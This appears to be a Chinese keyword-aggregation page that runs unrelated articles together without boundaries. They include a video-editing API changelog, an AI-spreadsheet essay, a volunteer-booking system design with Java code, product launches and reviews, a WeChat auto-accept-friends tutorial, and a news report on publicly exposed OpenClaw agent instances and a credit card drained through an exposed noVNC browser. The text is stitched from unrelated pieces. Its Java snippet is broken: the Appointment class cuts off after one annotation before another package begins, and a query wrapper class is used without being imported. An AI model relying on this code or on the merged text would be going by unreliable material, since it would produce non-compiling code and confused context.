包含关键字 typecho 的文章

项目简介

CapCut Mate API 是一款完全开源免费、基于 FastAPI构建的剪映草稿自动化助手,支持独立部署。本项目专注于为大模型赋能基础视频编辑能力,提供开箱即用的视频剪辑 Skills,已将剪映核心功能全流程自动化。可直接对接大模型实现多样化智能视频剪辑,让普通用户也能快速制作出专业高级的视频作品。

项目使用灵活:既可独立部署,也可结合 Coze 或 n8n自动化工作流,还能对接剪映实现云渲染,直接将草稿生成最终视频。

✨ 功能更新

新增工作流案例入口,README 项目资源区域添加工作流案例链接,方便用户快速了解与 Coze、n8n 等平台的集成用法。

🐛 问题修复

修复 add_images 接口数值类型校验问题,对请求参数中字符串类型的 width、height、start、end 字段自动转换为整数,避免比较运算报错。
修复 imgs_infos、audio_infos、caption_infos、effect_infos、video_infos 五个接口在列表长度不匹配时直接抛出异常的问题,改为自动截断至最短长度并打印 warning 日志,接口不再报错中断。
修复 add_videos 接口音量调节失效问题,volume 参数取值范围修正为 [0, 10](10 为最大音量),解决原始校验范围 [0, 1] 导致音量调整被强制重置为默认值的问题。

a495943417eede6dfad8dbf6afc3b79a.png

在2026年这一时间节点,人工智能与电子表格的结合已跨越了简单的“功能插件”阶段,演变为一种深度的“交互重构”。从微软Copilot对传统Excel的内生赋能,到Skywork(天工)、Sourcetable、Coze等新一代AI平台对表格数据的原生处理,标志着办公软件的范式正从“公式驱动”转向“意图驱动”。

一、 范式转移:从工具内生AI到平台化表格交互

传统的电子表格(如Excel和Google Sheets)正在通过集成大语言模型(LLM)实现智能化,而新兴的AI代理(Agent)平台则提供了完全不同的处理路径。

1.传统工具的内生进化

以Excel为例,Copilot的引入使其具备了自然语言交互能力。用户可以直接在单元格内通过=COPILOT()函数进行趋势预测,或利用对话框完成期望的数据分析或图表生成。这种进化的核心在于降低专业功能的门槛,使普通用户能调用以往需要VBA或高级函数才能实现的操作。
在这里插入图片描述
在这里插入图片描述

2.新兴AI平台的表格处理新模式

新兴平台如SkyworkSourcetableCoze,则代表了“AI驱动的表格交互”新趋势:

  • Sourcetable: 将电子表格作为AI的数据底座。它不仅是计算工具,更是一个集成了数百个数据源的实时中心,允许用户通过自然语言将外部数据库、API数据直接拉取至表格中进行混合分析,消除了传统Excel在数据集成上的孤岛效应。

在这里插入图片描述
在这里插入图片描述

  • Skywork(天工): 利用强大的长文本与结构化数据处理能力,Skywork能够直接“阅读”并“理解”用户上传的复杂Excel文件。它不仅能回答关于表格的具体问题,还能主动发现数据中的异常逻辑,并将其作为大模型的外部知识库进行关联推理。

在这里插入图片描述

  • Coze(扣子): 作为智能体开发平台,Coze通过内置的表格插件或Database节点,允许开发者构建能够“读写Excel”的机器人。这种结合使得电子表格成为了AI Agent的持久化存储和结构化输出终端,实现了“对话即操作”。
    在这里插入图片描述
    在这里插入图片描述

    二、 AI与电子表格结合的核心方向

    在这里插入图片描述

1.数据治理的自动化与智能化

AI极大地缩短了从“脏数据”到“标准数据”的距离。在处理从CSV或第三方系统导入的非结构化数据时,AI能够自动识别格式冲突、修复拼写错误、统一单位,并进行智能去重。例如,在采购管理系统中,AI可以识别出不同格式的采购表的关键信息,按照采购类别进行汇总分析。

2.自然语言驱动的深度洞察

这是目前最具代表性的结合方向。用户不再需要记忆复杂的VLOOKUP或数据透视表操作。

  • 描述性分析: 用户直接提问“去年前三季度的毛利变动趋势及主因”,AI会自动筛选相关列,生成对比表格并配以文字摘要。
  • 诊断性分析:AI+Table等平台工具中,AI能跨表关联数据,解释产生某一现象的背后原因及改进措施。
    在这里插入图片描述

在这里插入图片描述

3.公式与代码生成的低代码化

AI正在终结“公式焦虑”。无论是Excel内的Copilot补全建议,还是在AI+表格平台工具中通过自然语言描述逻辑后自动生成的Python处理脚本,都将复杂的逻辑运算转化为对话过程。这使得原本仅限于专业分析师的高级分析(如线性回归、异常点检测)能够普及到一线业务人员。
在这里插入图片描述
在这里插入图片描述

三、 应用价值:效率革命与决策科学化

AI与电子表格的结合,其价值不仅体现在速度的提升,更在于对数据价值的深度挖掘。

1.业务流程的端到端自动化

通过智能体编排平台,电子表格不再是静态的记录本。用户可以创建一个Agent,该Agent能够监控表格中特定列的变化(如:库存低于阈值),随后自动触发采购邮件发送,或在飞书/钉钉中推送预警。这种“表格+AI+外部插件”的组合,构建了轻量级的自动化ERP系统。

2.从“数据呈现”到“结论生成”的飞跃

在传统模式下,报表的终点是图表。而AI的加入使得报表能够直接输出结论。

例如,市场团队上传一份广告投放报表,AI+表格平台不仅生成转化率柱状图,还能直接给出:“建议停止某个渠道的投入,因为其获可成本比平均水平高出40%”的文字建议。这种“结论段”的生成极大地缩减了汇报准备时间。

3.数据资产的民主化使用

对于缺乏专业IT支持的中小企业,AI+表格类平台可提供内置交互处理能力,使其能够以极低的成本获得以往昂贵的BI(商业智能)系统才具备的分析力。表格成为了AI与人沟通的通用语言。

四、 风险评估与未来展望

尽管AI带来了前所未有的便利,但在实际应用中仍面临数据隐私与安全性的挑战,尤其是在涉及财务与核心客户数据的场景下。此外,过度依赖AI生成的公式和结论可能导致用户对底层逻辑的感知弱化。

展望未来,电子表格将成为AI平台的一个“插件”或“交互窗口”。AI+表格类平台化工具和以Excel Copilot为代表的生产力套件将长期共存:前者负责复杂的多源数据流与Agent协作,后者负责深度的单机复杂计算。对于职场人而言,未来的核心竞争力将不再是操作表格的熟练度,而是利用AI将业务意图高效转化为表格数据洞察的能力。

扩展链接

可嵌入您系统的在线Excel

背景

当前志愿服务活动中,组织者与志愿者之间存在信息不对称、管理效率低下等痛点。传统的管理方式依赖人工统计和线下沟通,难以满足日益增长的志愿服务需求。

研究意义

  • 对志愿者:提供及时的信息获取渠道,简化活动参与流程,清晰管理个人服务记录。
  • 对组织方:实现活动管理的高效化,数据统计的精准化,以及服务质量的可量化。

系统需求分析

在这里插入图片描述

业务流程设计

  • 预约流程:用户浏览活动 -> 选择时段 -> 提交预约 -> 生成核销码。
  • 核销流程:用户出示二维码 -> 管理员扫码 -> 系统校验 -> 更新状态为“已完成”。
  • 管理流程:管理员登录 -> 发布活动/设置规则 -> 监控报名情况 -> 现场核销 -> 导出数据。

关键代码片段

package com.volunteer.entity;

import com.baomidou.mybatisplus.annotation.*;
import lombok.Data;
import java.time.LocalDateTime;

@Data
@TableName("t_appointment")
public class Appointment {
    @TableId(type = IdType.AUTO)
package com.volunteer.service.impl;

import com.volunteer.entity.Activity;
import com.volunteer.entity.Appointment;
import com.volunteer.mapper.ActivityMapper;
import com.volunteer.mapper.AppointmentMapper;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;

import java.time.LocalDateTime;
import java.util.UUID;

@Service
public class AppointmentServiceImpl {

    @Autowired
    private ActivityMapper activityMapper;
    @Autowired
    private AppointmentMapper appointmentMapper;

    /**
     * 用户预约活动
     * @param userId 用户ID
     * @param activityId 活动ID
     * @param timeSlot 时段
     * @return 预约结果
     */
    @Transactional(rollbackFor = Exception.class)
    public boolean bookActivity(Long userId, Long activityId, String timeSlot) {
        // 1. 查询活动信息 (使用 selectById 并锁定行,或使用版本号机制)
        // 这里演示简单的检查逻辑,生产环境建议结合 Redis 预减库存
        Activity activity = activityMapper.selectById(activityId);
        
        if (activity == null || activity.getStatus() != 1) {
            throw new RuntimeException("活动不存在或未开启");
        }
        
        if (activity.getBookedCount() >= activity.getTotalQuota()) {
            throw new RuntimeException("名额已满");
        }

        // 2. 检查用户是否重复预约该时段
        long count = appointmentMapper.selectCount(
            new LambdaQueryWrapper<Appointment>()
                .eq(Appointment::getUserId, userId)
                .eq(Appointment::getActivityId, activityId)
                .eq(Appointment::getTimeSlot, timeSlot)
                .in(Appointment::getStatus, 0, 1) // 只查有效预约
        );
        if (count > 0) {
            throw new RuntimeException("您已预约该时段");
        }

        // 3. 扣减库存 (利用数据库原子更新,防止并发超卖)
        // SQL: UPDATE t_activity SET booked_count = booked_count + 1 
        //      WHERE activity_id = ? AND booked_count < total_quota
        int updatedRows = activityMapper.decrementQuota(activityId);
        if (updatedRows == 0) {
            throw new RuntimeException("预约失败,名额已被抢光");
        }

        // 4. 创建预约记录
        Appointment appointment = new Appointment();
        appointment.setUserId(userId);
        appointment.setActivityId(activityId);
        appointment.setTimeSlot(timeSlot);
        appointment.setVerifyCode(UUID.randomUUID().toString().replace("-", "")); // 生成核销码
        appointment.setStatus(0); // 待参加
        appointment.setBookTime(LocalDateTime.now());
        
        appointmentMapper.insert(appointment);
        return true;
    }
}

数据库设计

字段名类型长度主键非空默认值说明
user_idBIGINT20YESYESAUTO_INC用户ID
openidVARCHAR64NOYES-微信OpenID (唯一标识)
nameVARCHAR50NOYES-真实姓名
phoneVARCHAR20NONO-联系电话
specialtyVARCHAR255NONO-服务特长/技能
avatar_urlVARCHAR255NONO-头像链接
created_atDATETIME-NOYESNOW()注册时间
updated_atDATETIME-NOYESNOW()更新时间
字段名类型长度主键非空默认值说明
activity_idBIGINT20YESYESAUTO_INC活动ID
titleVARCHAR100NOYES-活动标题
typeVARCHAR50NOYES-活动类型 (如: 环保, 助老)
descriptionTEXT-NONO-活动详情描述
locationVARCHAR255NONO-活动地点
total_quotaINT11NOYES0总招募人数
booked_countINT11NOYES0已报名人数
start_timeDATETIME-NOYES-活动开始时间
end_timeDATETIME-NOYES-活动结束时间
statusTINYINT1NOYES1状态 (0:下架, 1:进行中, 2:已结束)
created_byBIGINT20NOYES-创建者ID (Admin)
created_atDATETIME-NOYESNOW()发布时间
字段名类型长度主键非空默认值说明
content_idBIGINT20YESYESAUTO_INC内容ID
categoryVARCHAR50NOYES-分类 (notice, knowledge, etc.)
titleVARCHAR100NOYES-标题
bodyLONGTEXT-NONO-正文内容 (HTML/Markdown)
cover_imgVARCHAR255NONO-封面图URL
view_countINT11NOYES0浏览次数
created_atDATETIME-NOYESNOW()发布时间
字段名类型长度主键非空默认值说明
admin_idBIGINT20YESYESAUTO_INC管理员ID
usernameVARCHAR50NOYES-登录用户名
password_hashVARCHAR100NOYES-加密后的密码
roleVARCHAR20NOYES'admin'角色 (super_admin, admin, checker)
is_activeTINYINT1NOYES1账户状态 (0:禁用, 1:启用)
last_loginDATETIME-NONO-最后登录时间

关键代码逻辑

  • 并发控制:在预约提交时利用数据库锁 (SELECT ... FOR UPDATE) 或 Redis 缓存防止超卖(名额超出)。
  • 权限拦截:后端通过 Interceptor 拦截器验证管理员 Token 及角色权限。
  • 入口设计:在小程序“我的->设置”中嵌入管理入口,实现移动端管理。
  • 数据可视化:通过图表或列表展示预约统计、用户增长等数据。
  • Excel导出:后端使用POI或EasyExcel库,将查询结果封装为Excel流返回前端下载。

    UI设计

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    后台管理系统设计

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    测试结果

  • 功能测试:各模块功能(注册、预约、核销、导出)均运行正常。
  • 性能测试:在高并发预约场景下,系统响应稳定,无数据不一致现象。
  • 兼容性测试:在不同型号手机及微信版本上界面显示正常。

git下载

点击git下载

项目地址:https://github.com/ilaziness/vexo

  • 支持多标签页
  • SFTP 文件浏览器,支持上传、下载、删除、重命名文件
  • 文件传输任务管理
  • 密码认证和私钥认证(支持 RSA、Ed25519、ECDSA)
  • 会话书签管理,支持文件夹分类管理书签
  • 多种主题方案:亮色模式、暗色模式、蓝夜模式、护眼模式
  • 支持 Zmodem 文件传输协议(rz/sz)

图片预览
main

terminal

sftp

书签

​今日,博云科技正式发布了AI原生智能体平台BoClaw。作为面向开发者和知识工作者的智能化生产力工具,BoClaw具有极简安装、便捷使用的特点。BoClaw以“数据不出域、权限精细化、技能可定制”为核心设计理念,集成AI对话协作、技能扩展、多平台IM远程控制、定时任务等核心能力,通过一站式的智能解决方案,打破传统工作流程中的效率壁垒,让AI真正深度融入文档处理、代码开发、创意设计、远程办公等多元工作场景,为专业人士带来工作效率的全方位提升。

图片

》》官方下载地址:https://boclaw.ai《《

在数字化办公的当下,开发者和知识工作者常常面临多工具切换繁琐、AI能力单一、远程协作不便、重复任务耗时、智能体本地安装非常复杂、使用还不够便捷等诸多痛点。

与此同时,企业对数据安全、权限管控、系统对接的要求日益严苛。BoClaw的诞生,精准直击这些行业痛点,以强大的功能矩阵和人性化的设计,极简安装和便捷使用,重新定义AI生产力工具的使用体验。无论是程序员高效编写代码、分析师快速完成数据报告,还是设计师实现创意落地、职场人处理日常办公事务,BoClaw都能成为适配多元场景的智能搭档,让复杂工作变简单,让重复工作被解放。

极简安装,便捷使用

极简安装,便捷使用

BoClaw实现全程低门槛、一键化、可视化安装,目前支持macOS(Apple Silicon/Intel)、Windows 10+、Linux(x64/ARM64)及主流浏览器(Web沙箱模式)。

根据指引和系统提示,非技术人员也可以在10分钟内完成下载和安装,并在30分钟内完成从0开始的准备工作,让BoClaw开启智能化工作。

图片

数据主权:本地优先+私有化部署

BoClaw所有对话、文件、记忆数据存储在用户本地,支持私有云、物理机、离线环境部署,数据不出域,满足用户对数据保护的要求。

安全管控:三层防护体系

执行层:基于博云深耕14年的虚拟化技术,代码执行与文件操作在隔离沙箱中运行,安全不触达主机。

权限层:AI调用系统工具前可逐条审批,工具级权限管控,一人一实例权限隔离,每个操作都在管控之下。

分发层:FoLib私有技能仓库+技能审核,杜绝恶意插件,实现企业内技能统一管理。

多模式架构:覆盖全员

图片

客户端 Agent 模式:面向开发者与专业用户。本地直连大模型,零延迟响应;支持文件系统直接读写,提供完整 IDE 级操作体验。

客户端沙箱模式:面向全员与客户端用户。一键下载安装沙箱至本地环境;VM 级安全与权限隔离,沙箱数据与本地数据完全分离,兼顾便捷与安全。

Web 沙箱模式:面向企业用户即将推出。浏览器即开即用,免安装免配置;云端 VM 级虚拟化沙箱隔离,安全权限可控,多用户并行互不干扰。

全场景AI智能体,从“问答”到“执行”

BoClaw的协作对话(Cowork)模块将多轮AI对话协作的能力发挥到极致,真正实现了从“问答”到“执行”的跨越。其支持流式对话模式,完美兼容Markdown、代码高亮、LaTeX、Mermaid等多种格式,让开发者写代码、知识工作者做分析时,无需切换工具即可实现内容的专业呈现。

在AI工具调用环节,BoClaw设计了灵活的权限审批机制,用户可逐条审批或一键允许AI调用系统工具,兼顾效率与安全;同时提供本地、沙箱、自动选择三种执行模式,用户可根据工作内容的隐私性和复杂度自由选择,既保障敏感数据的安全,又能充分利用云端算力。

在实际工作中,用户可在对话中直接附加docx、xlsx、pdf等各类文件,并自定义工作目录,AI将直接基于文件内容进行分析和处理;而Artifacts预览功能则支持HTML、SVG、React、Mermaid在安全沙箱中实时预览,让设计、开发成果可视化呈现。

此外,BoClaw预置了PPT制作、数据分析等丰富的快捷操作模板,用户一键即可启动专业工作流程。

强大的技能生态:36项内置技能+

14,000社区技能+私有化技能仓库

BoClaw构建了强大的技能系统(Skills),成为其提升工作效率的重要抓手。

该系统拥有36项内置技能,分为文档处理、信息检索、创意设计、自动化、通讯/系统、元技能六大分类,全方位覆盖日常工作的各类需求。


开发与自动化:面向开发者的编程辅助、自动化测试与定时任务工具,支持网页游戏开发、浏览器自动化、前端界面构建、代码计划及项目管理。


办公与文档处理:覆盖日常办公的文档编辑、表格处理、演示文稿制作、邮件管理及文件整理,让文档协作与任务跟踪更高效。


创意与内容生成:预置seedream、seedance、canvas-design、frontend-design等能力,为设计师、营销与内容创作者提供图像/视频生成、海报设计、社交媒体文案创作及小说编写等AI辅助工具。


信息检索与查询:一站式获取天气、影视、音乐等实用信息,快速响应各类查询需求。


个性化元能力:具备skill-creator能力,支持用户自定义工作流、创建专属技能,实现AI能力的个性化定制与扩展。


不仅如此,BoClaw支持技能热加载,无需重启应用即可完成技能的更新与启用。同时搭配专属技能市场,用户可浏览、安装海量在线技能——目前社区已贡献14,000+技能,持续为AI能力升级,让工具始终适配不断变化的工作需求。

针对企业客户,BoClaw独创FoLib私有化技能仓库。企业可自建内网技能中台,实现技能的统一管理、安全分发与版本控制,支持CI/CD集成,既享受开源生态的丰富,又守住核心业务的安全。

记忆系统+定时任务,

让AI更懂你,让工作更自主

BoClaw创新打造的记忆系统(Memory)让AI拥有了“个性化记忆”能力,彻底摆脱了传统AI工具“记不住、不了解”的痛点。系统支持显式记忆与隐式提取双重模式,用户可主动触发记忆的保存与删除,AI也能自动识别用户的个人档案、工作偏好等信息;同时设置了严格、标准、宽松三档安全等级,结合LLM二次验证和TTL缓存机制,对边界案例进行智能判断。记忆数据本地存储,用户可随时查看、编辑、删除,让AI的服务更贴合个人工作习惯,越用越顺手。

定时任务(Scheduled Tasks)功能则让工作实现“无人值守”的自动化运行,支持单次、每日、每周、每月及Cron表达式等多种任务调度方式。用户可对任务列表进行启用/禁用、编辑、删除等精细化管理,系统会完整记录任务执行历史与全局日志,每次执行还会自动创建Cowork会话,用户可随时回溯执行过程与AI输出结果。无论是定时生成数据分析报告、定时同步文件,还是定时执行自动化脚本,BoClaw都能精准完成。

多平台IM远程控制,打破空间限制

针对当下远程协作、移动办公的需求,BoClaw打造了IM远程控制(IM Gateway)功能,通过钉钉、飞书、企业微信、Telegram、Discord等主流IM平台的机器人,实现远程触发AI任务的操作。

用户只需在手机或其他终端的IM软件中发送指令,BoClaw即可在电脑端自动完成文档处理、代码生成、数据分析等工作,并实时反馈结果,让用户在外出、出差等场景下也能高效处理工作,真正实现“随时随地办公”。

多模型兼容+加密配置,兼顾能力与安全

BoClaw在AI模型支持方面做到了高度开放与兼容,支持40+主流模型,包括Claude、GPT、DeepSeek、通义千问、Kimi、智谱GLM、Gemini、Ollama等,同时支持自定义端点接入,让用户可根据工作需求自由选择AI模型。内置的OpenAI兼容代理实现了Anthropic与OpenAI API格式的无缝桥接,无需复杂配置即可实现多模型的切换使用。

BoClaw支持加密配置的导入与导出,对AI模型的API Key等敏感信息进行加密保护,全方位保障用户的账号与数据安全。

支持在线工具接入,实现AI可控运行

图片

BoClaw 支持系统工具的在线接入与统一权限管理。权限体系与技能系统深度打通,实现用户与 BoClaw 1:1 权限映射——用户能操作的,BoClaw 才能操作;用户无权访问的,BoClaw同样受限。每一次工具调用都经过权限校验,确保 AI 在既有安全边界内执行任务,做到操作精准、结果可靠、权限可控。

BoClaw与其他产品的区别

图片

BoClaw核心差异化定位:极简安装,便捷使用·

数据不出域·技能可定制·系统全连接

多元应用场景

图片

极简使用流程,全平台适配

BoClaw将“极简”贯穿产品设计全流程,打造了三步式便捷使用流程:

安装并一键配置AI模型API Key

桌面端直接使用:新建协作对话,输入提示词,AI自动执行,快速获取结果

远程使用:一键配置IM机器人,通过钉钉、飞书等发送消息,BoClaw执行并回复

拓展能力:在技能市场一键浏览、安装在线技能,启用后直接增强AI能力。

注:BoClaw完美支持macOS(Apple Silicon/Intel)、Windows 10+、Linux(x64/ARM64)及主流浏览器(Web沙箱模式),在不同设备上均能提供一致的使用体验。

BoClaw现已正式发布,个人用户可访问官网免费下载使用,企业用户可申请私有化部署方案与技术咨询。

》》官方下载地址:https://boclaw.ai《《

主流视频会议工具深度解析:高效协作的数字化选择
在当今工作场景中,会议常常被视为效率的阻碍——流程冗长、内容分散、参与感低成为普遍痛点。然而,选择合适的视频会议工具,能够从根本上改变这一现状,让会议成为推动工作的有效环节。本文将对当前市场上八款具有代表性的视频会议平台进行梳理,从功能特点、适用场景等维度展开分析,助您找到更匹配团队需求的解决方案。
一、腾讯会议:稳定易用的国民级应用
腾讯会议依托稳定的云端服务架构与广泛的用户基础,已成为国内众多企业与个人的首选。该平台以简洁的操作界面与可靠的音视频质量为核心,同时融入了智能化元素,使线上交流更具效率。
主要功能亮点:

高清音视频体验:支持1080P高清画质,结合智能降噪与回声消除技术,确保沟通清晰顺畅。

多样化协作支持:提供屏幕共享、互动白板、实时投票等工具,激发团队协作活力。

智能会议辅助:内置AI助手,可自动提炼讨论要点,甚至模拟参会者进行基础问答。

二、云屋视频会议:智能高效的协作平台
云屋视频会议注重效率与安全,致力于通过技术手段简化会议流程。其特色在于融合了多项智能处理功能,尤其擅长应对多语言、多文档的复杂会议场景。
核心优势:

灵活接入与稳定连接:支持网页、客户端、移动端等多种入会方式,并在网络波动时保持音视频流畅。

会议室资源管理:集成会议室预约与状态查看系统,有效解决线下场地协调难题。

智能化会后处理:自动生成文字记录,支持内容检索与关键信息筛选,减轻人工整理负担。

三、Zoom:全球部署的跨域沟通专家
Zoom以其出色的国际链路优化与高稳定性著称,广泛用于各类跨国会议、线上研讨及大型行业峰会。在用户友好性与安全性方面也积累了良好口碑。
突出特点:

图片

优异的网络适应性:即使在带宽有限的条件下,仍能保持低延迟、高清晰的通话质量。

极简操作体验:创建与加入会议流程直观,适合各类技术背景的用户快速上手。

企业级安全防护:采用端到端加密、会议密码、等候室等多重机制,保障会话隐私。

四、钉钉会议:生态整合的协同工作门户
作为阿里巴巴旗下智能办公平台的重要组成部分,钉钉会议不仅提供专业的视频会议能力,更与日程、审批、文档等办公模块深度打通,构建了一体化的工作协同环境。
关键能力:

生态内无缝衔接:会议可关联日程安排、群组聊天、云盘文件,实现信息自然流转。

灵活的设备适配性:支持会议室硬件终端、个人设备等多种接入方式,适应不同规模场景。

信息结构化处理:可将会议讨论内容自动归类整理,便于后续追溯与任务跟进。

五、华为云会议:安全可靠的企业级方案
华为云会议依托华为在通信领域的技术积累与全球网络资源,专注于为企业及组织机构提供专业、安全的视频会议服务,在数据合规与系统稳定性方面表现突出。
核心特性:

灵活的部署模式:支持公有云、私有云及混合云部署,满足不同企业的数据管理需求。

沉浸式会议体验:通过智能取景、多画面布局、虚拟背景等功能,提升远程临场感。

全流程服务支持:提供从部署、培训到技术保障的全程专业服务,确保系统稳定运行。

六、Microsoft Teams:集成办公的生态中枢
Microsoft Teams不仅是视频会议工具,更是整合了聊天、协作、文件管理及业务流程的工作平台。尤其适合已使用Microsoft 365生态的用户,实现工具间的无缝联动。
特色功能:

深度Office集成:在会议界面中可直接编辑Word、Excel、PowerPoint文档,无需切换应用。

任务与项目管理:通过内置的Planner、To Do等工具,将会议决议转化为可跟踪的任务。

AI效率提升:借助Copilot等智能功能,自动生成讨论摘要、提取行动项,辅助决策执行。

七、讯飞会议:语言智能驱动的沟通桥梁
基于科大讯飞领先的语音识别与多语言处理技术,讯飞会议在语音转写、实时翻译、会议纪要生成等方面具备显著优势,特别适合跨国、跨方言的交流场景。
技术亮点:

多语言实时互译:支持数十种语言与主要方言的转写与翻译,降低语言沟通障碍。

高精度文字转写:语音识别准确率行业领先,可自动区分发言人并生成结构化文本。

智能内容归纳:自动分析讨论内容,提炼核心议题与决议要点,输出清晰的会议总结。

八、WPS会议:轻量便捷的文档协作伴侣
WPS会议延续了金山办公产品轻快、易用的特点,并与WPS Office套件紧密集成,使文档演示、协同编辑与视频交流融为一体,适合中小团队及个人用户快速开展协作。
产品特色:

低门槛快速启用:界面简洁,无需复杂配置即可发起或加入会议。

文档协同聚焦:参会者可同步查看、编辑演示中的文档,讨论与修改同步进行。

跨平台一致体验:支持Windows、macOS、iOS、Android等多系统,保障各设备端体验流畅。

总结
不同的视频会议工具在定位、功能侧重与适用场景上各有千秋。企业在选择时,应综合考虑团队规模、协作习惯、安全要求及现有系统生态,从而找到最能提升沟通效率、助力业务推进的那一款。合适的工具不仅是技术的应用,更是工作方式与团队协作文化的塑造者。

智能客服新革命:一行代码的无限可能

当企业官网的访问者提出问题时,传统客服的响应延迟往往意味着商机的流失。在这个追求效率的时代,一种新型的智能客服解决方案正在悄然改变游戏规则。

技术赋能:从复杂到极简的蜕变

曾几何时,部署一个智能客服系统需要技术团队的深度参与,从API对接到底层开发,整个过程耗时耗力。而现在,访答智能客服网页版的出现,彻底颠覆了这一模式。只需一行代码,企业就能在5分钟内拥有专属的智能问答机器人,这种极简的部署方式让技术门槛几乎降为零。

精准应答背后的技术革新

与传统客服机器人机械式的应答不同,基于中文RAG技术的智能客服能够深度理解上下文语义。它不仅能准确解析官网的全部内容,还能识别图片、图文混排等多模态信息,将产品参数图、活动海报等视觉元素融入问答逻辑。这种深度的内容理解能力,确保了每个回答都精准且有据可循。

持续进化的知识管理体系

企业官网内容更新是常态,而访答的知识库一键更新功能完美解决了这一痛点。网站内容迭代后,只需简单操作就能同步更新机器人知识库,前端界面无需任何调整。这种智能的同步机制,确保了客服机器人始终与官网保持信息同步。

用户体验的深度优化

智能客服的价值不仅在于回答问题,更在于引导用户深度探索。溯源参考导航功能让每个答案都附带原文链接,用户可一键跳转至相关页面。这种设计既增强了回答的可信度,又巧妙地提升了网站留存率,形成良性的用户体验闭环。

在数字化转型的大潮中,智能客服已不再是奢侈的选择,而是企业官网的标准配置。访答以其独特的技术优势和极简的部署方式,正在重新定义企业智能客服的行业标准。

对于做自媒体或者做生意的人来说,每天都会收到不少好友申请,要逐个点同意、分组打标签、再确认对方需求,确实很耗时间。很多人的做法可能是把微信里好友验证关掉,这样别人加你好友时不需要你同意也可以给你发消息。

但这样还是得你手动加一遍对方才能进行一些好友才能执行的操作(比如转账),不然会一直提示对方不是你的好友。有没有一个工具可以帮我们实现这个功能的自动化,并且可以免费使用呢。

我之前使用的微信如何自动接收好友请求并拉好友进群,不过随着微信更新4.1版本,原先的微信3.9版本有着很多限制,比如账号会出现低版本无法登录的情况。最近作者已经更新了新版本:https://github.com/kanadeblisst00/pywxrobot4

使用教程

我简单做个使用介绍,大家还是以GitHub的描述为准,因为工具还处于初期的开发阶段,很可能会有比较大的改动。

准备工作

网盘下载地址:https://www.123865.com/s/ihEKVv-Sflx?pwd=vCI5#

首先从网盘里下载需要的文件并解压,如下:

使用网盘中的绿色版微信即可,exe安装版的话会覆盖掉电脑上原来的微信,绿色版可以共存使用。

开始使用

先登录微信,然后打开自动同意好友申请.exe,在菜单栏里的功能->插件设置配置一下你需要在同意好友时做的一些设置。

这个和你使用微信同意好友申请的界面设置类似,还增加了一些额外的配置项

备注无法做到通用配置,所以就没有增加这个配置选项。其它的字段详细解释如下:

  • 标签分类:是否需要根据发送的申请内容将好友分类到某个标签里,目前是通过设置关键词列表来实现。当好友的申请内容包含关键词时,如果正好存在这个关键词标签,则将该好友放到该标签下。
  • 消息免打扰:是否需要在同意好友请求后,将好友的消息设置免打扰
  • 朋友圈权限:跟界面上一样,有五个:默认仅聊天不看他不让他看不看他|不让他看
  • 发送问候语:当申请内容为空或者是我是...这种就给他发送设置的问候语,很多人加好友不说明来意,加完后也不发消息,还得问一句才知道。
  • 仅关键词: 只有匹配到关键词的申请才会自动同意
  • 关键词列表:关键词用于标签分类和仅关键词

你按自己的需求配置完就完成了。

通用配置项

这个有兴趣的可以看:如何实时监听并通知公众号的发文,这里就不重复介绍了

整理|华卫

 

“真不敢相信旧金山湾区居然有人要花 6000 美元请人上门安装 OpenClaw。”今日,X 上一条这样的帖子引发热议。

 

 

这是海外代装平台 SetupClaw 给出的明码标价:托管安装 OpenClaw3000 美元,含 Mac mini 硬件的远程配置 5000 美元,含 Mac mini 硬件的现场配置 6000 美元。有人评价道,“价格确实离谱,但市场需求是真实存在的。”

 

短短两月,OpenClaw 以一个个人智能体的身份在全球掀起现象级安装热潮,远超此前任何一款 Agent 产品的公众影响力和普及程度。在国内平台,“OpenClaw 上门安装”的帖子也不断刷屏,服务提供者的 IP 蔓延到全国各地,报价普遍在几百到一千不等,还有人为了接单不仅上门部署还送“做饭服务”。

 

 

与此同时,已经有人靠这波安装热潮赚翻了。SetupClaw 创始人 Michael 更是号称靠这门手艺,有望年入百万美元。小米则是直接把“龙虾”搬到了手机上,小米手机版 AI Agent“Xiaomi miclaw”在昨日开启封测。

 

面对如此热潮,昨天,腾讯云团队也下场为大众提供了帮助大家安装 OpenClaw 的服务:“你带着笔记本电脑去现场,就能把小龙虾带回家”。

 

据悉,腾讯云这次一共派出了 20 位工程师到场摆摊讲解。在深圳腾讯大厦楼下,排起了长队,其中还不乏小学生和满头白发的老人。3 小时内,数百台 OpenClaw 成功上线。

 

 

这场颇具话题性的“线下养虾”活动,甚至还获得了 OpenClaw 创始人的转发。

昨天刚装上,今天就“裸奔”了?!

 

然而巧合的是,腾讯云昨天还在线下大规模推广、现场帮用户装机;今天,“OpenClaw Exposure Watchboard”的公开监控页面上,就已经新增了好几例来自腾讯云服务器的暴露实例。

在“OpenClaw Exposure Watchboard”的全部网页上,列出了超 25.8 万个暴露在公网的 OpenClaw 实例,覆盖美国、新加坡、中国大陆等多个地区。

而除了安全暴露,费用问题也开始浮出水面。

 

“OpenClaw 很有趣,但如果不小心,它也会耗尽你的钱包。”此前,就有开发者指出,OpenClaw 必须接入外部模型才能让它运转,其在模拟全天候助理的待命状态过程中内置了一套心跳(Heartbeat)机制,每隔 30 分钟自动醒来检查事项,而每次的唤醒都会消耗 token,算下来一个月即使没有实际产出、仅靠心跳机制也要烧掉近 750 美元。

信用卡刷爆、CEO 电脑被黑产出售 Root 权限

事实上,OpenClaw 的各种安全事故绝不在少数。

 

几天前,一位开发者在使用 OpenClaw 时突然收到银行短信:他的信用卡额度被刷爆了!查看日志后,他发现罪魁祸首是几天前刚刚部署的 OpenClaw 实例。

 

 

他用 OpenClaw 编写了自动化脚本,通过 noVNC 将 Chrome 浏览器直接暴露在公网(端口直连映射),本意是远程调试浏览器自动化流程。结果,Chrome 里保存的支付方式、Cookie、自动填充的信用卡信息,直接变成了公开的“自助 ATM 机”。攻击者发现了这个暴露的 VNC 实例,短短几分钟就将信用卡刷爆。

 

简单来说,因为其 OpenClaw 服务暴露在公共互联网上,攻击者访问后窃取了保存在 Chrome 浏览器中的信用卡信息。

 

